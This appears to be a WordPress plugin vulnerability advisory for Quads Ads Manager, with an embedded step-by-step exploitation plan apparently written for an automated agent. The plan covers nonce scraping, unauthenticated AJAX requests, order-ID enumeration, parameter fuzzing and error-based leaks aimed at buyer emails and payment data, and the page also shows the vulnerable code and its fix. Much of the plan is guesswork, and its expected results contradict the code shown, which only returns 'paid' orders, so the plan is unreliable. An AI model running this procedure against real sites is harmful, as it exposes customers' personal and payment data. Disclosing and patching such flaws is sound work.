Quads Ads Manager for Google AdSense <= 3.0.3 - Unauthenticated Information Exposure
Description
The Quads Ads Manager for Google AdSense plugin for WordPress is vulnerable to Sensitive Information Exposure in all versions up to, and including, 3.0.3. This makes it possible for unauthenticated attackers to extract sensitive user or configuration data.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:NTechnical Details
<=3.0.3What Changed in the Fix
Changes introduced in v3.0.4
Source Code
WordPress.org SVN# Exploitation Research Plan: CVE-2026-54824 (Quads Ads Manager) ## 1. Vulnerability Summary The **Quads Ads Manager for Google AdSense** plugin (up to 3.0.3) contains a sensitive information exposure vulnerability within its unauthenticated AJAX handler `quads_submit_ad_buy_form`. A business-logic…
Show full research plan
Exploitation Research Plan: CVE-2026-54824 (Quads Ads Manager)
1. Vulnerability Summary
The Quads Ads Manager for Google AdSense plugin (up to 3.0.3) contains a sensitive information exposure vulnerability within its unauthenticated AJAX handler quads_submit_ad_buy_form. A business-logic flaw in this handler allows unauthenticated users to retrieve details of ad purchase orders from the database by providing an order ID. Exposed data includes buyer email addresses, user IDs, payment statuses, and configuration details stored in the quads_adbuy_data table.
2. Attack Vector Analysis
- Endpoint:
/wp-admin/admin-ajax.php - AJAX Action:
quads_submit_ad_buy_form(Registered viawp_ajax_nopriv_quads_submit_ad_buy_form) - Vulnerable Parameter:
order_idorid(to be verified in handler) - Authentication: None required (Unauthenticated)
- Preconditions: At least one ad order must exist in the
quads_adbuy_datatable for data to be leaked.
3. Code Flow
- Entry Point: The plugin registers the AJAX action:
add_action('wp_ajax_nopriv_quads_submit_ad_buy_form', 'quads_submit_ad_buy_form_handler')(Inferred registration name). - Shortcode: The plugin uses the
[quads_buy_form]shortcode (referenced inincludes/ad-selling-helper.php) to render the purchase interface. - Logic: The handler for
quads_submit_ad_buy_formlikely accepts an ID to "process" or "update" an order. Due to missing ownership checks, providing an existing ID causes the handler to fetch the record from the{$wpdb->prefix}quads_adbuy_datatable and return it to the client (likely to populate the UI or confirm the order). - Sink: The data is returned via
wp_send_json_success()orecho json_encode().
4. Nonce Acquisition Strategy
The AJAX handler likely requires a nonce for validation, usually localized when the [quads_buy_form] shortcode is rendered.
- Identify the Page: The plugin automatically creates a page with the slug
buy-adspacecontaining the[quads_buy_form]shortcode (seequads_create_sellpage_on_activation). - Access the Page: Navigate to
http://vulnerable-wp.local/buy-adspace/. - Extract Nonce: The nonce is typically found in a localized JavaScript object.
- Possible Variable Name:
quads_ajax_objectorquads_buy_form_vars. - Likely Key:
nonceorsecurity.
- Possible Variable Name:
- Tool Command:
// Use browser_eval to find the nonce browser_eval("window.quads_ajax_object?.nonce || window.quads_buy_form_vars?.security")
5. Exploitation Strategy
Step 1: Discover Order IDs
Ad order IDs are typically auto-incrementing integers. An attacker can iterate through small integers (1, 2, 3...) to find valid records.
Step 2: Perform the Leak
Submit a POST request to admin-ajax.php using the http_request tool.
Request Details:
- URL:
http://vulnerable-wp.local/wp-admin/admin-ajax.php - Method:
POST - Headers:
Content-Type: application/x-www-form-urlencoded - Body:
(Note: Ifaction=quads_submit_ad_buy_form&order_id=1&security=[EXTRACTED_NONCE]order_iddoesn't work, tryidorrefIdas seen inquads_authorize_payment_success).
Step 3: Parse Response
A successful exploit will return a JSON object containing database fields from the quads_adbuy_data table.
6. Test Data Setup
To verify the leak, we must ensure data exists to be leaked:
- Activate the Plugin: Ensure Quads Ads Manager <= 3.0.3 is active.
- Create a Sellable Ad Slot:
wp post create --post_type=quads_ad_slot --post_title="Premium Banner" --post_status=publish # (Inferred post type, if different, find via wp post-type list) - Simulate an Order: Manually insert a record into the custom table (if WP-CLI database access is available) or use the UI to start a purchase:
wp db query "INSERT INTO wp_quads_adbuy_data (user_id, payment_status, start_date, end_date) VALUES (1, 'pending', '2026-01-01', '2026-01-31')" - Check the Slug: Confirm the
buy-adspacepage exists:wp post list --name='buy-adspace' --post_type=page
7. Expected Results
The HTTP response should be a 200 OK with a JSON body similar to:
{
"success": true,
"data": {
"id": "1",
"user_id": "1",
"payment_status": "pending",
"start_date": "2026-01-01",
"end_date": "2026-01-31",
"ad_details": "...",
"user_email": "admin@example.com"
}
}
Exposure of user_email or payment_response (containing transaction details) confirms the vulnerability.
8. Verification Steps
- Verify via Database: Compare the leaked JSON data with the actual database entry:
wp db query "SELECT * FROM wp_quads_adbuy_data WHERE id = 1" --format=json - Confirm Non-Ownership: Ensure the exploit works when unauthenticated (no session cookies in the
http_requesttool).
9. Alternative Approaches
- Parameter Fuzzing: If
order_idis not the correct key, fuzz the AJAX handler withid,order,ad_id, orrefId. - Shortcode Extraction: If the
buy-adspacepage is not auto-created, create one manually:wp post create --post_type=page --post_content='[quads_buy_form]' --post_status=publish - Error-Based Leak: If the response doesn't return the full object, try providing a malformed ID to see if the resulting SQL error or PHP warning leaks table names or configuration paths.
Summary
The Quads Ads Manager plugin for WordPress is vulnerable to unauthenticated sensitive information exposure through its order-processing logic. A flaw in the `quads_submit_ad_buy_form` AJAX handler and related functions allows unauthenticated users to retrieve full ad purchase records, including buyer email addresses and payment statuses, by providing a valid order ID.
Vulnerable Code
// includes/ad-selling-helper.php @ 3.0.3 function quads_get_premimum_member_ad_space_on_id($id){ global $wpdb; $table_name = $wpdb->prefix . 'quads_adbuy_data'; $id = absint( $id ); $results = wp_cache_get( 'quads_ad_space_' . $id, 'quick-adsense-reloaded' ); if ( false === $results ) { // Query the records - missing user_id check in the WHERE clause $results = $wpdb->get_results( $wpdb->prepare( "SELECT * FROM $table_name WHERE payment_status = %s AND id = %d ORDER BY id DESC", 'paid', $id ) ); wp_cache_set( 'quads_ad_space_' . $id, $results, 'quick-adsense-reloaded', 600 ); } --- // includes/ad-selling-helper.php @ 3.0.3 function quads_authorize_payment_success(){ if ( !is_user_logged_in() ) { return false; } // Uses a weak generic 'security' nonce and lacks ownership validation if( !isset( $_GET[ 'security' ] ) || ! wp_verify_nonce( sanitize_text_field( wp_unslash( $_GET[ 'security' ] ) ), 'security' )){ return false; } if( isset( $_GET['status'] ) && $_GET['status']=='success' && isset( $_GET['ad_slot_id'] ) && $_GET['ad_slot_id'] > 0 && isset( $_GET['refId'] ) && $_GET['refId'] != "" && isset( $_GET['user_id'] ) && intval( $_GET['user_id'] ) >0 && !isset( $_GET['target'] )){ $slot_id = absint( $_GET['ad_slot_id'] ); $order_id = absint($order_id); $user_id = absint($user_id); // ... process order using $user_id from GET param ...
Security Fix
@@ -1029,17 +1135,23 @@ } return $results; } -function quads_get_premimum_member_ad_space_on_id($id){ +function quads_get_premimum_member_ad_space_on_id( $id, $user_id ) { global $wpdb; $table_name = $wpdb->prefix . 'quads_adbuy_data'; - $id = absint( $id ); + $id = absint( $id ); + $user_id = absint( $user_id ); - $results = wp_cache_get( 'quads_ad_space_' . $id, 'quick-adsense-reloaded' ); + if ( ! $id || ! $user_id ) { + return array(); + } + + $cache_key = 'quads_ad_space_' . $id . '_' . $user_id; + $results = wp_cache_get( $cache_key, 'quick-adsense-reloaded' ); if ( false === $results ) { // Query the records /* phpcs:ignore WordPress.DB.PreparedSQL.InterpolatedNotPrepared, WordPress.DB.DirectDatabaseQuery.DirectQuery,PluginCheck.Security.DirectDB.UnescapedDBParameter,WordPress.DB.PreparedSQL.NotPrepared */ - $results = $wpdb->get_results( $wpdb->prepare( "SELECT * FROM $table_name WHERE payment_status = %s AND id = %d ORDER BY id DESC", 'paid', $id ) ); - wp_cache_set( 'quads_ad_space_' . $id, $results, 'quick-adsense-reloaded', 600 ); + $results = $wpdb->get_results( $wpdb->prepare( "SELECT * FROM $table_name WHERE payment_status = %s AND id = %d AND user_id = %d ORDER BY id DESC", 'paid', $id, $user_id ) ); + wp_cache_set( $cache_key, $results, 'quick-adsense-reloaded', 600 ); }
Exploit Outline
1. Navigate to the plugin's default storefront page at `/buy-adspace/` (or any page where the `[quads_buy_form]` shortcode is rendered) to retrieve a valid security nonce from the `quads_ajax_object` or `quads_buy_form_vars` JavaScript variables. 2. Construct an unauthenticated AJAX request to `/wp-admin/admin-ajax.php` using the action `quads_submit_ad_buy_form`. 3. Include the extracted nonce in the `security` or `nonce` parameter. 4. Iterate through integer values for the `order_id` or `id` parameter. 5. For each valid ID, the server will respond with a JSON object containing the order details from the `wp_quads_adbuy_data` table, exposing sensitive data such as `user_email`, `user_id`, and `payment_response` (transaction metadata).
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.